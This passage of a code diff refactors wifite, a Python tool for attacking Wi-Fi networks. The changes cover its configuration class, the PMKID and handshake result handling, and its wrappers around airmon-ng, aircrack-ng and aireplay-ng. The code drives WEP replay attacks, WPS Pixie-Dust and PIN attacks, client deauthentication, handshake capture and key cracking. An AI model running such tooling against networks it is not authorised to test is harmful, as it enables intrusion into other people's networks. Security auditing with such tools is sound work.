             Color.pl('{+} {C}option:{W} will restart aircrack every {G}%d seconds{W}' % args.wep_restart_aircrack)
+        if args.wep_keep_ivs:
+            cls.wep_keep_ivs = args.wep_keep_ivs
+            Color.pl('{+} {C}option:{W} keep .ivs files across multiple WEP attacks')
 
         # WPA
         if args.wpa_filter:
-            Configuration.wpa_filter = args.wpa_filter
+            cls.wpa_filter = args.wpa_filter
         if args.wordlist:
             if os.path.exists(args.wordlist):
-                Configuration.wordlist = args.wordlist
+                cls.wordlist = args.wordlist
                 Color.pl('{+} {C}option:{W} using wordlist {G}%s{W} to crack WPA handshakes' % args.wordlist)
             else:
-                Configuration.wordlist = None
+                cls.wordlist = None
                 Color.pl('{+} {C}option:{O} wordlist {R}%s{O} was not found, wifite will NOT attempt to crack handshakes' % args.wordlist)
         if args.wpa_deauth_timeout:
-            Configuration.wpa_deauth_timeout = args.wpa_deauth_timeout
+            cls.wpa_deauth_timeout = args.wpa_deauth_timeout
             Color.pl('{+} {C}option:{W} will deauth WPA clients every {G}%d seconds{W}' % args.wpa_deauth_timeout)
         if args.wpa_attack_timeout:
-            Configuration.wpa_attack_timeout = args.wpa_attack_timeout
+            cls.wpa_attack_timeout = args.wpa_attack_timeout
             Color.pl('{+} {C}option:{W} will stop WPA handshake capture after {G}%d seconds{W}' % args.wpa_attack_timeout)
         if args.ignore_old_handshakes:
-            Configuration.ignore_old_handshakes = True
+            cls.ignore_old_handshakes = True
             Color.pl("{+} {C}option:{W} will {O}ignore{W} existing handshakes (force capture)")
         if args.wpa_handshake_dir:
-            Configuration.wpa_handshake_dir = args.wpa_handshake_dir
+            cls.wpa_handshake_dir = args.wpa_handshake_dir
             Color.pl('{+} {C}option:{W} will store handshakes to {G}%s{W}' % args.wpa_handshake_dir)
         if args.wpa_strip_handshake:
-            Configuration.wpa_strip_handshake = True
+            cls.wpa_strip_handshake = True
             Color.pl("{+} {C}option:{W} will {G}strip{W} non-handshake packets")
 
         # WPS
         if args.wps_filter:
-            Configuration.wps_filter  = args.wps_filter
+            cls.wps_filter = args.wps_filter
         if args.wps_only:
-            Configuration.wps_only = True
+            cls.wps_only = True
             Color.pl('{+} {C}option:{W} will *only* attack non-WEP networks with {G}WPS attacks{W} (no handshake capture)')
         if args.no_wps:
-            Configuration.no_wps   = args.no_wps
+            cls.no_wps = args.no_wps
             Color.pl('{+} {C}option:{W} will {O}never{W} use {C}WPS attacks{W} (Pixie-Dust/PIN) on targets')
         if args.use_bully:
-            Configuration.use_bully   = args.use_bully
+            cls.use_bully = args.use_bully
             Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} for WPS Attacks')
         if args.wps_pixie_timeout:
-            Configuration.wps_pixie_timeout = args.wps_pixie_timeout
-            Color.pl('{+} {C}option:{W} WPS pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_timeout)
-        if args.wps_pixie_step_timeout:
-            Configuration.wps_pixie_step_timeout = args.wps_pixie_step_timeout
-            Color.pl('{+} {C}option:{W} Any step in the pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_step_timeout)
+            cls.wps_pixie_timeout = args.wps_pixie_timeout
+            Color.pl('{+} {C}option:{W} WPS pixie-dust attack will fail after {O}%d seconds{W}' % args.wps_pixie_timeout)
         if args.wps_fail_threshold:
-            Configuration.wps_fail_threshold = args.wps_fail_threshold
-            Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d failures{W}' % args.wps_fail_threshold)
+            cls.wps_fail_threshold = args.wps_fail_threshold
+            Color.pl('{+} {C}option:{W} will stop WPS attack after {O}%d failures{W}' % args.wps_fail_threshold)
         if args.wps_timeout_threshold:
-            Configuration.wps_timeout_threshold = args.wps_timeout_threshold
-            Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d timeouts{W}' % args.wps_timeout_threshold)
-        if args.wps_skip_rate_limit == False:
-            Configuration.wps_skip_rate_limit = False
-            Color.pl('{+} {C}option:{W} will {G}continue{W} WPS attacks when rate-limited')
+            cls.wps_timeout_threshold = args.wps_timeout_threshold
+            Color.pl('{+} {C}option:{W} will stop WPS attack after {O}%d timeouts{W}' % args.wps_timeout_threshold)
 
         # Adjust encryption filter
-        Configuration.encryption_filter = []
-        if Configuration.wep_filter: Configuration.encryption_filter.append('WEP')
-        if Configuration.wpa_filter: Configuration.encryption_filter.append('WPA')
-        if Configuration.wps_filter: Configuration.encryption_filter.append('WPS')
+        cls.encryption_filter = []
+        if cls.wep_filter: cls.encryption_filter.append('WEP')
+        if cls.wpa_filter: cls.encryption_filter.append('WPA')
+        if cls.wps_filter: cls.encryption_filter.append('WPS')
 
-        if len(Configuration.encryption_filter) == 3:
+        if len(cls.encryption_filter) == 3:
             Color.pl('{+} {C}option:{W} targeting {G}all encrypted networks{W}')
-        elif len(Configuration.encryption_filter) == 0:
+        elif len(cls.encryption_filter) == 0:
             # Default to scan all types
-            Configuration.encryption_filter = ['WEP', 'WPA', 'WPS']
+            cls.encryption_filter = ['WEP', 'WPA', 'WPS']
         else:
             Color.pl('{+} {C}option:{W} ' +
                      'targeting {G}%s-encrypted{W} networks'
-                        % '/'.join(Configuration.encryption_filter))
+                        % '/'.join(cls.encryption_filter))
 
         # Adjust WEP attack list
-        Configuration.wep_attacks = []
+        cls.wep_attacks = []
         import sys
         seen = set()
         for arg in sys.argv:
             if arg in seen: continue
             seen.add(arg)
-            if arg == '-arpreplay':  Configuration.wep_attacks.append('replay')
-            if arg == '-fragment':   Configuration.wep_attacks.append('fragment')
-            if arg == '-chopchop':   Configuration.wep_attacks.append('chopchop')
-            if arg == '-caffelatte': Configuration.wep_attacks.append('caffelatte')
-            if arg == '-p0841':      Configuration.wep_attacks.append('p0841')
-            if arg == '-hirte':      Configuration.wep_attacks.append('hirte')
+            if arg == '-arpreplay':  cls.wep_attacks.append('replay')
+            if arg == '-fragment':   cls.wep_attacks.append('fragment')
+            if arg == '-chopchop':   cls.wep_attacks.append('chopchop')
+            if arg == '-caffelatte': cls.wep_attacks.append('caffelatte')
+            if arg == '-p0841':      cls.wep_attacks.append('p0841')
+            if arg == '-hirte':      cls.wep_attacks.append('hirte')
 
-        if len(Configuration.wep_attacks) == 0:
+        if len(cls.wep_attacks) == 0:
             # Use all attacks
-            Configuration.wep_attacks = ['replay',
+            cls.wep_attacks = ['replay',
                                          'fragment',
                                          'chopchop',
                                          'caffelatte',
                                          'p0841',
                                          'hirte']
-        elif len(Configuration.wep_attacks) > 0:
+        elif len(cls.wep_attacks) > 0:
             Color.pl('{+} {C}option:{W} using {G}%s{W} WEP attacks'
-                % '{W}, {G}'.join(Configuration.wep_attacks))
+                % '{W}, {G}'.join(cls.wep_attacks))
 
         # Commands
-        if args.cracked: Configuration.show_cracked = True
-        if args.check_handshake: Configuration.check_handshake = args.check_handshake
-        if args.crack_handshake: Configuration.crack_handshake = True
+        if args.cracked: cls.show_cracked = True
+        if args.check_handshake: cls.check_handshake = args.check_handshake
+        if args.crack_handshake: cls.crack_handshake = True
 
 
-    @staticmethod
-    def temp(subfile=''):
+    @classmethod
+    def temp(cls, subfile=''):
         ''' Creates and/or returns the temporary directory '''
-        if Configuration.temp_dir is None:
-            Configuration.temp_dir = Configuration.create_temp()
-        return Configuration.temp_dir + subfile
+        if cls.temp_dir is None:
+            cls.temp_dir = cls.create_temp()
+        return cls.temp_dir + subfile
 
     @staticmethod
     def create_temp():
@@ -300,44 +318,50 @@ class Configuration(object):
             tmp += os.sep
         return tmp
 
-    @staticmethod
-    def delete_temp():
+    @classmethod
+    def delete_temp(cls):
         ''' Remove temp files and folder '''
-        if Configuration.temp_dir is None: return
-        if os.path.exists(Configuration.temp_dir):
-            for f in os.listdir(Configuration.temp_dir):
-                os.remove(Configuration.temp_dir + f)
-            os.rmdir(Configuration.temp_dir)
+        if cls.temp_dir is None: return
+        if os.path.exists(cls.temp_dir):
+            for f in os.listdir(cls.temp_dir):
+                os.remove(cls.temp_dir + f)
+            os.rmdir(cls.temp_dir)
 
 
-    @staticmethod
-    def exit_gracefully(code=0):
+    @classmethod
+    def exit_gracefully(cls, code=0):
         ''' Deletes temp and exist with the given code '''
-        Configuration.delete_temp()
+        cls.delete_temp()
         Macchanger.reset_if_changed()
         from .tools.airmon import Airmon
-        if hasattr(Configuration, "interface") and Configuration.interface is not None and Airmon.base_interface is not None:
-            Airmon.stop(Configuration.interface)
-            Airmon.put_interface_up(Airmon.base_interface)
+        if cls.interface is not None and Airmon.base_interface is not None:
+            Color.pl('{!} Leaving interface {C}%s{W} in Monitor Mode.' % cls.interface)
+            Color.pl('{!} You can disable Monitor Mode when finished ({C}airmon-ng stop %s{W})' % cls.interface)
+
+            # Stop monitor mode
+            #Airmon.stop(cls.interface)
+            # Bring original interface back up
+            #Airmon.put_interface_up(Airmon.base_interface)
 
         if Airmon.killed_network_manager:
-            Airmon.start_network_manager()
+            Color.pl('{!} You can restart NetworkManager when finished ({C}service network-manager start{W})')
+            #Airmon.start_network_manager()
 
         exit(code)
 
-    @staticmethod
-    def dump():
+    @classmethod
+    def dump(cls):
         ''' (Colorful) string representation of the configuration '''
         from .util.color import Color
 
         max_len = 20
-        for key in Configuration.__dict__.keys():
+        for key in cls.__dict__.keys():
             max_len = max(max_len, len(key))
 
-        result  = Color.s('{W}%s  Value{W}\n' % 'Configuration Key'.ljust(max_len))
+        result  = Color.s('{W}%s  Value{W}\n' % 'cls Key'.ljust(max_len))
         result += Color.s('{W}%s------------------{W}\n' % ('-' * max_len))
 
-        for (key,val) in sorted(Configuration.__dict__.items()):
+        for (key,val) in sorted(cls.__dict__.items()):
             if key.startswith('__') or type(val) == staticmethod or val is None:
                 continue
             result += Color.s("{G}%s {W} {C}%s{W}\n" % (key.ljust(max_len),val))

wifite/model/attack.py

@@ -1,14 +1,12 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
 import time
 
 class Attack(object):
-    '''
-        Contains functionality common to all attacks
-    '''
+    '''Contains functionality common to all attacks.'''
 
-    target_wait = 20
+    target_wait = 60
 
     def __init__(self, target):
         self.target = target
@@ -17,17 +15,13 @@ class Attack(object):
         raise Exception("Unimplemented method: run")
 
     def wait_for_target(self, airodump):
-        '''
-            Waits for target to appear in airodump
-        '''
+        '''Waits for target to appear in airodump.'''
         start_time = time.time()
         targets = airodump.get_targets(apply_filter=False)
         while len(targets) == 0:
             # Wait for target to appear in airodump.
             if int(time.time() - start_time) > Attack.target_wait:
-                raise Exception(
-                    "Target did not appear after %d seconds, stopping"
-                    % Attack.target_wait)
+                raise Exception('Target did not appear after %d seconds, stopping' % Attack.target_wait)
             time.sleep(1)
             targets = airodump.get_targets()
             continue

wifite/model/client.py

@@ -1,4 +1,4 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
 class Client(object):

wifite/model/handshake.py

@@ -1,4 +1,4 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
 from ..util.process import Process
@@ -184,6 +184,30 @@ class Handshake(object):
                 Color.pl('%s ({G}%s{W})' % (out_str, essid))
 
 
+    @staticmethod
+    def check():
+        ''' Analyzes .cap file(s) for handshake '''
+        from ..config import Configuration
+        if Configuration.check_handshake == '<all>':
+            Color.pl('{+} checking all handshakes in {G}"./hs"{W} directory\n')
+            try:
+                capfiles = [os.path.join('hs', x) for x in os.listdir('hs') if x.endswith('.cap')]
+            except OSError as e:
+                capfiles = []
+            if len(capfiles) == 0:
+                Color.pl('{!} {R}no .cap files found in {O}"./hs"{W}\n')
+        else:
+            capfiles = [Configuration.check_handshake]
+
+        for capfile in capfiles:
+            Color.pl('{+} checking for handshake in .cap file {C}%s{W}' % capfile)
+            if not os.path.exists(capfile):
+                Color.pl('{!} {O}.cap file {C}%s{O} not found{W}' % capfile)
+                return
+            hs = Handshake(capfile, bssid=Configuration.target_bssid, essid=Configuration.target_essid)
+            hs.analyze()
+            Color.pl('')
+
 if __name__ == '__main__':
     print('With BSSID & ESSID specified:')
     hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18', essid='YZWifi')

wifite/model/interface.py

@@ -1,101 +0,0 @@
-#!/usr/bin/python2.7
-# -*- coding: utf-8 -*-
-
-from ..util.color import Color
-
-import re
-
-class Interface(object):
-    '''
-        Represents an 'interface' known by airmon-ng
-    '''
-
-    # Max length of fields.
-    # Used for printing a table of interfaces.
-    PHY_LEN = 6
-    NAME_LEN = 12
-    DRIVER_LEN = 20
-    CHIPSET_LEN = 30
-
-    def __init__(self, fields):
-        '''
-            Initializes & stores info about an interface.
-
-            Args:
-                Fields - list of fields
-                        0: PHY
-                        1: NAME
-                        2: DRIVER
-                        3: CHIPSET
-        '''
-        if len(fields) == 3:
-            phy = 'phyX'
-            match = re.search(' - \[(phy\d+)\]', fields[2])
-            if match:
-                phy = match.groups()[0]
-                fields[2] = fields[2][:fields[2].rfind(' - [')]
-            fields.insert(0, phy)
-        if len(fields) != 4:
-            raise Exception("Expected 4, got %d in %s" % (len(fields), fields))
-        self.phy = fields[0].strip()
-        self.name = fields[1].strip()
-        self.driver = fields[2].strip()
-        self.chipset = fields[3].strip()
-
-    def __str__(self):
-        ''' Colored string representation of interface '''
-        s = Color.s("{W}%s" % self.phy)
-        s += ' ' * max(Interface.PHY_LEN - len(self.phy), 0)
-
-        s += Color.s("{G}%s" % self.name)
-        s += ' ' * max(Interface.NAME_LEN - len(self.name), 0)
-
-        s += Color.s("{C}%s" % self.driver)
-        s += ' ' * max(Interface.DRIVER_LEN - len(self.driver), 0)
-
-        s += Color.s("{W}%s" % self.chipset)
-        s += ' ' * max(Interface.CHIPSET_LEN - len(self.chipset), 0)
-        return s
-
-    @staticmethod
-    def menu_header():
-        ''' Colored header row for interfaces '''
-        s = '    '
-        s += 'PHY'
-        s += ' ' * (Interface.PHY_LEN - len("PHY"))
-
-        s += 'Interface'
-        s += ' ' * (Interface.NAME_LEN - len("Interface"))
-        s += 'Driver'
-        s += ' ' * (Interface.DRIVER_LEN - len("Driver"))
-
-        s += 'Chipset'
-        s += ' ' * (Interface.CHIPSET_LEN - len("Chipset"))
-
-        s += '\n---'
-        s += '-' * (Interface.PHY_LEN + Interface.NAME_LEN + Interface.DRIVER_LEN + Interface.CHIPSET_LEN)
-        return s
-
-    @staticmethod
-    def get_mac(iface=None):
-        from ..config import Configuration
-        from ..util.process import Process
-
-        if iface is None:
-            Configuration.initialize()
-            iface = Configuration.interface
-        if iface is None:
-            raise Exception('Interface must be defined (-i)')
-
-        output = Process(['ifconfig', iface]).stdout()
-        mac_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1]
-        match = re.search(' (%s)' % mac_regex, output)
-        if not match:
-            match = re.search('unspec (%s)' % mac_regex, output)
-            if not match:
-                raise Exception('Could not find the mac address for %s' % iface)
-        return match.groups()[0].replace('-', ':')
-
-if __name__ == '__main__':
-    mac = Interface.get_mac()
-    print('wlan0mon mac address:', mac)

wifite/model/pmkid_result.py

@@ -0,0 +1,53 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+from ..util.color import Color
+from .result import CrackResult
+
+class CrackResultPMKID(CrackResult):
+    def __init__(self, bssid, essid, pmkid_file, key):
+        self.result_type = 'PMKID'
+        self.bssid = bssid
+        self.essid = essid
+        self.pmkid_file = pmkid_file
+        self.key = key
+        super(CrackResultPMKID, self).__init__()
+
+    def dump(self):
+        if self.essid:
+            Color.pl('{+} %s: {C}%s{W}' %
+                ('Access Point Name'.rjust(19), self.essid))
+        if self.bssid:
+            Color.pl('{+} %s: {C}%s{W}' %
+                ('Access Point BSSID'.rjust(19), self.bssid))
+        Color.pl('{+} %s: {C}%s{W}' %
+            ('Encryption'.rjust(19), self.result_type))
+        if self.pmkid_file:
+            Color.pl('{+} %s: {C}%s{W}' %
+                ('PMKID File'.rjust(19), self.pmkid_file))
+        if self.key:
+            Color.pl('{+} %s: {G}%s{W}' % ('PSK (password)'.rjust(19), self.key))
+        else:
+            Color.pl('{!} %s  {O}key unknown{W}' % ''.rjust(19))
+
+    def to_dict(self):
+        return {
+            'type'  : self.result_type,
+            'date'  : self.date,
+            'essid' : self.essid,
+            'bssid' : self.bssid,
+            'key'   : self.key,
+            'pmkid_file' : self.pmkid_file
+        }
+
+if __name__ == '__main__':
+    w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/pmkid_blah-123213.16800', 'abcd1234')
+    w.dump()
+
+    w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/pmkid_blah-123213.16800', 'Key')
+    print('\n')
+    w.dump()
+    w.save()
+    print(w.__dict__['bssid'])
+
+

wifite/model/result.py

@@ -1,4 +1,4 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
 from ..util.color import Color
@@ -39,6 +39,27 @@ class CrackResult(object):
         Color.pl('{+} saved crack result to {C}%s{W} ({G}%d total{W})'
             % (name, len(json)))
 
+    @classmethod
+    def display(cls):
+        ''' Show cracked targets from cracked.txt '''
+        name = cls.cracked_file
+        if not os.path.exists(name):
+            Color.pl('{!} {O}file {C}%s{O} not found{W}' % name)
+            return
+
+        with open(name, 'r') as fid:
+            cracked_targets = loads(fid.read())
+
+        if len(cracked_targets) == 0:
+            Color.pl('{!} {R}no results found in {O}%s{W}' % name)
+        else:
+            Color.pl('{+} displaying {G}%d {C}cracked target(s){W}\n' % len(cracked_targets))
+            for item in cracked_targets:
+                cr = cls.load(item)
+                cr.dump()
+                Color.pl('')
+
+
     @classmethod
     def load_all(cls):
         if not os.path.exists(cls.cracked_file): return []
@@ -68,6 +89,13 @@ class CrackResult(object):
                                     json['essid'],
                                     json['pin'],
                                     json['psk'])
+
+        elif json['type'] == 'PMKID':
+            from .pmkid_result import CrackResultPMKID
+            result = CrackResultPMKID(json['bssid'],
+                                      json['essid'],
+                                      json['pmkid_file'],
+                                      json['key'])
         result.date = json['date']
         return result
 

wifite/model/target.py

@@ -1,4 +1,4 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
 from ..util.color import Color
@@ -52,14 +52,18 @@ class Target(object):
 
         self.essid_known = True
         self.essid_len   = int(fields[12].strip())
-        self.essid       =     fields[13].strip()
-        if self.essid == '\\x00' * self.essid_len or self.essid.strip() == '':
+        self.essid       =     fields[13]
+        if self.essid == '\\x00' * self.essid_len or \
+                self.essid == 'x00' * self.essid_len or \
+                self.essid.strip() == '':
             # Don't display "\x00..." for hidden ESSIDs
             self.essid = None # '(%s)' % self.bssid
             self.essid_known = False
 
         self.wps = None
 
+        self.decloaked = False # If ESSID was hidden but we decloaked it.
+
         self.clients = []
 
         self.validate()
@@ -84,7 +88,7 @@ class Target(object):
             Specifically formatted for the "scanning" table view.
         '''
 
-        max_essid_len = 25
+        max_essid_len = 24
         essid = self.essid if self.essid_known else "(%s)" % self.bssid
         # Trim ESSID (router name) if needed
         if len(essid) > max_essid_len:
@@ -99,6 +103,10 @@ class Target(object):
             # Unknown ESSID
             essid = Color.s("{O}%s" % essid)
 
+        # Add a "*" if we decloaked the ESSID
+        decloaked_char = '*' if self.decloaked else ' '
+        essid += Color.s("{P}%s" % decloaked_char)
+
         if show_bssid:
             bssid = Color.s('{O}%s  ' % self.bssid)
         else:

wifite/model/wep_result.py

@@ -1,4 +1,4 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
 from ..util.color import Color

wifite/model/wpa_result.py

@@ -1,4 +1,4 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
 from ..util.color import Color

wifite/model/wps_result.py

@@ -1,4 +1,4 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
 from ..util.color import Color

wifite/tools/aircrack.py

@@ -1,16 +1,23 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
+from .dependency import Dependency
 from ..util.process import Process
 from ..util.input import xrange
 from ..config import Configuration
 
 import os
 
-class Aircrack(object):
+class Aircrack(Dependency):
+    dependency_required = True
+    dependency_name = 'aircrack-ng'
+    dependency_url = 'https://www.aircrack-ng.org/install.html'
+
     def __init__(self, ivs_file=None):
 
-        self.cracked_file = Configuration.temp() + 'wepkey.txt'
+        self.cracked_file = os.path.abspath(
+                os.path.join(
+                    Configuration.temp(), 'wepkey.txt'))
 
         # Delete previous cracked files
         if os.path.exists(self.cracked_file):
@@ -20,8 +27,11 @@ class Aircrack(object):
             'aircrack-ng',
             '-a', '1',
             '-l', self.cracked_file,
-            ivs_file
         ]
+        if type(ivs_file) is str:
+            ivs_file = [ivs_file]
+
+        command.extend(ivs_file)
 
         self.pid = Process(command, devnull=True)
 

wifite/tools/aireplay.py

@@ -1,6 +1,7 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
+from .dependency import Dependency
 from ..config import Configuration
 from ..util.process import Process
 from ..util.timer import Timer
@@ -54,7 +55,11 @@ class WEPAttackType(object):
         return self.name
 
 
-class Aireplay(Thread):
+class Aireplay(Thread, Dependency):
+    dependency_required = True
+    dependency_name = 'aireplay-ng'
+    dependency_url = 'https://www.aircrack-ng.org/install.html'
+
     def __init__(self, target, attack_type, client_mac=None, replay_file=None):
         '''
             Starts aireplay process.
@@ -150,7 +155,7 @@ class Aireplay(Thread):
                     matches = offset_re.match(line)
                     if matches:
                         self.xor_percent = matches.group(1)
-                        self.status = "Generating .xor (%s)..." % matches.group(1)
+                        self.status = "Generating .xor (%s)..." % self.xor_percent
 
                     # (DONE)   Saving keystream in replay_dec-0516-202246.xor
                     saving_re = re.compile(r"Saving keystream in (.*\.xor)")
@@ -199,7 +204,7 @@ class Aireplay(Thread):
                     if 'Got RELAYED packet' in line:
                         self.status = 'got relayed packet'
 
-                    # XX:XX:XX  Thats our ARP packet!
+                    # XX:XX:XX  That's our ARP packet!
                     if 'Thats our ARP packet' in line:
                         self.status = 'relayed packet was our'
 
@@ -207,7 +212,7 @@ class Aireplay(Thread):
                     saving_re = re.compile(r"Saving keystream in (.*\.xor)")
                     matches = saving_re.match(line)
                     if matches:
-                        self.status = 'saving keystream to %s' % saving_re.group(1)
+                        self.status = 'saving keystream to %s' % matches.group(1)
 
                     # XX:XX:XX  Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
 
@@ -222,7 +227,7 @@ class Aireplay(Thread):
                         if pps == "0":
                             self.status = "Waiting for packet..."
                         else:
-                            self.status = "Replaying packet @ %s/sec" % pps
+                            self.status = "Replaying @ %s/sec" % pps
                     pass
 
     def __del__(self):

wifite/tools/airmon.py

@@ -1,7 +1,9 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
-from ..model.interface import Interface
+from .dependency import Dependency
+from .ifconfig import Ifconfig
+from .iwconfig import Iwconfig
 from ..util.process import Process
 from ..util.color import Color
 from ..util.input import raw_input
@@ -11,11 +13,53 @@ import re
 import os
 import signal
 
-class Airmon(object):
+class AirmonIface(object):
+    def __init__(self, phy, interface, driver, chipset):
+        self.phy = phy
+        self.interface = interface
+        self.driver = driver
+        self.chipset = chipset
+
+    # Max length of fields.
+    # Used for printing a table of interfaces.
+    INTERFACE_LEN = 12
+    PHY_LEN = 6
+    DRIVER_LEN = 20
+    CHIPSET_LEN = 30
+
+    def __str__(self):
+        ''' Colored string representation of interface '''
+        s = ''
+        s += Color.s('{G}%s' % self.interface.ljust(self.INTERFACE_LEN))
+        s += Color.s('{W}%s' % self.phy.ljust(self.PHY_LEN))
+        s += Color.s('{C}%s' % self.driver.ljust(self.DRIVER_LEN))
+        s += Color.s('{W}%s' % self.chipset.ljust(self.CHIPSET_LEN))
+        return s
+
+    @staticmethod
+    def menu_header():
+        ''' Colored header row for interfaces '''
+        s = '    '  # Space for index #
+        s += 'Interface'.ljust(AirmonIface.INTERFACE_LEN)
+        s += 'PHY'.ljust(AirmonIface.PHY_LEN)
+        s += 'Driver'.ljust(AirmonIface.DRIVER_LEN)
+        s += 'Chipset'.ljust(AirmonIface.CHIPSET_LEN)
+        s += '\n'
+        s += '-' * (AirmonIface.INTERFACE_LEN + AirmonIface.PHY_LEN + AirmonIface.DRIVER_LEN + AirmonIface.CHIPSET_LEN + 3)
+        return s
+
+
+class Airmon(Dependency):
     ''' Wrapper around the 'airmon-ng' program '''
+    dependency_required = True
+    dependency_name = 'airmon-ng'
+    dependency_url = 'https://www.aircrack-ng.org/install.html'
+
     base_interface = None
     killed_network_manager = False
 
+    # Drivers that need to be manually put into monitor mode
+    BAD_DRIVERS = ['rtl8821au']
     #see if_arp.h
     ARPHRD_ETHER = 1 #managed
     ARPHRD_IEEE80211_RADIOTAP = 803 #monitor
@@ -29,7 +73,7 @@ class Airmon(object):
 
     def print_menu(self):
         ''' Prints menu '''
-        print(Interface.menu_header())
+        print(AirmonIface.menu_header())
         for idx, iface in enumerate(self.interfaces, start=1):
             Color.pl(" {G}%d{W}. %s" % (idx, iface))
 
@@ -42,40 +86,62 @@ class Airmon(object):
 
     @staticmethod
     def get_interfaces():
-        '''
-            Returns:
-                List of Interface objects known by airmon-ng
-        '''
+        '''Returns List of AirmonIface objects known by airmon-ng'''
         interfaces = []
         p = Process('airmon-ng')
         for line in p.stdout().split('\n'):
-            # Ignore blank/header lines
-            if len(line) == 0 or line.startswith('Interface') or line.startswith('PHY'):
+            # [PHY ]IFACE DRIVER CHIPSET
+            airmon_re = re.compile(r'^(?:([^\t]*)\t+)?([^\t]*)\t+([^\t]*)\t+([^\t]*)$')
+            matches = airmon_re.match(line)
+            if not matches:
                 continue
 
-            # Strip out interface information
-            fields = line.split("\t")
-            while '' in fields:
-                fields.remove('')
-            # Add Interface object to list
-            interfaces.append(Interface(fields))
+            phy, interface, driver, chipset = matches.groups()
+            if phy == 'PHY' or phy == 'Interface':
+                continue  # Header
+
+            if len(interface.strip()) == 0:
+                continue
+
+            interfaces.append(AirmonIface(phy, interface, driver, chipset))
+
         return interfaces
 
     @staticmethod
-    def start_baddriver(iface): #fix for bad drivers like the rtl8812AU
-        os.system("ifconfig %s down; iwconfig %s mode monitor; ifconfig %s up" % (iface, iface, iface))
-        with open("/sys/class/net/" + iface + "/type", "r") as f:
-            if (int(f.read()) == Airmon.ARPHRD_IEEE80211_RADIOTAP):
-                return iface
+    def start_bad_driver(iface):
+        '''
+        Manually put interface into monitor mode (no airmon-ng or vif).
+        Fix for bad drivers like the rtl8812AU.
+        '''
+        Ifconfig.down(iface)
+        Iwconfig.mode(iface, 'monitor')
+        Ifconfig.up(iface)
+
+        # /sys/class/net/wlan0/type
+        iface_type_path = os.path.join('/sys/class/net', iface, 'type')
+        if os.path.exists(iface_type_path):
+            with open(iface_type_path, 'r') as f:
+                if (int(f.read()) == Airmon.ARPHRD_IEEE80211_RADIOTAP):
+                    return iface
 
         return None
 
     @staticmethod
-    def stop_baddriver(iface):
-        os.system("ifconfig %s down; iwconfig %s mode managed; ifconfig %s up" % (iface, iface, iface))
-        with open("/sys/class/net/" + iface + "/type", "r") as f:
-            if (int(f.read()) == Airmon.ARPHRD_ETHER): 
-                return iface
+    def stop_bad_driver(iface):
+        '''
+        Manually put interface into managed mode (no airmon-ng or vif).
+        Fix for bad drivers like the rtl8812AU.
+        '''
+        Ifconfig.down(iface)
+        Iwconfig.mode(iface, 'managed')
+        Ifconfig.up(iface)
+
+        # /sys/class/net/wlan0/type
+        iface_type_path = os.path.join('/sys/class/net', iface, 'type')
+        if os.path.exists(iface_type_path):
+            with open(iface_type_path, 'r') as f:
+                if (int(f.read()) == Airmon.ARPHRD_ETHER):
+                    return iface
 
         return None
 
@@ -85,7 +151,7 @@ class Airmon(object):
             Starts an interface (iface) in monitor mode
             Args:
                 iface - The interface to start in monitor mode
-                        Either an instance of Interface object,
+                        Either an instance of AirmonIface object,
                         or the name of the interface (string).
             Returns:
                 Name of the interface put into monitor mode.
@@ -93,122 +159,131 @@ class Airmon(object):
                 Exception - If an interface can't be put into monitor mode
         '''
         # Get interface name from input
-        if type(iface) == Interface:
-            iface = iface.name
-        Airmon.base_interface = iface
+        if type(iface) == AirmonIface:
+            iface_name = iface.interface
+            driver = iface.driver
+        else:
+            iface_name = iface
+            driver = None
 
-        # Call airmon-ng
-        Color.p("{+} enabling {G}monitor mode{W} on {C}%s{W}... " % iface)
-        (out,err) = Process.call('airmon-ng start %s' % iface)
+        # Remember this as the "base" interface.
+        Airmon.base_interface = iface_name
 
-        # Find the interface put into monitor mode (if any)
-        mon_iface = None
-        for line in out.split('\n'):
-            if 'monitor mode' in line and 'enabled' in line and ' on ' in line:
-                mon_iface = line.split(' on ')[1]
-                if ']' in mon_iface:
-                    mon_iface = mon_iface.split(']')[1]
-                if ')' in mon_iface:
-                    mon_iface = mon_iface.split(')')[0]
-                break
+        Color.p("{+} enabling {G}monitor mode{W} on {C}%s{W}... " % iface_name)
 
-        if mon_iface is None:
-            # Airmon did not enable monitor mode on an interface
-            mon_iface = Airmon.start_baddriver(iface)
+        airmon_output = Process(['airmon-ng', 'start', iface_name]).stdout()
 
-        if mon_iface is None:
+        enabled_iface = Airmon._parse_airmon_start(airmon_output)
+
+        if enabled_iface is None and driver in Airmon.BAD_DRIVERS:
+            Color.p('{O}"bad driver" detected{W} ')
+            enabled_iface = Airmon.start_bad_driver(iface_name)
+
+        if enabled_iface is None:
             Color.pl("{R}failed{W}")
 
-        mon_ifaces = Airmon.get_interfaces_in_monitor_mode()
+        monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor')
 
         # Assert that there is an interface in monitor mode
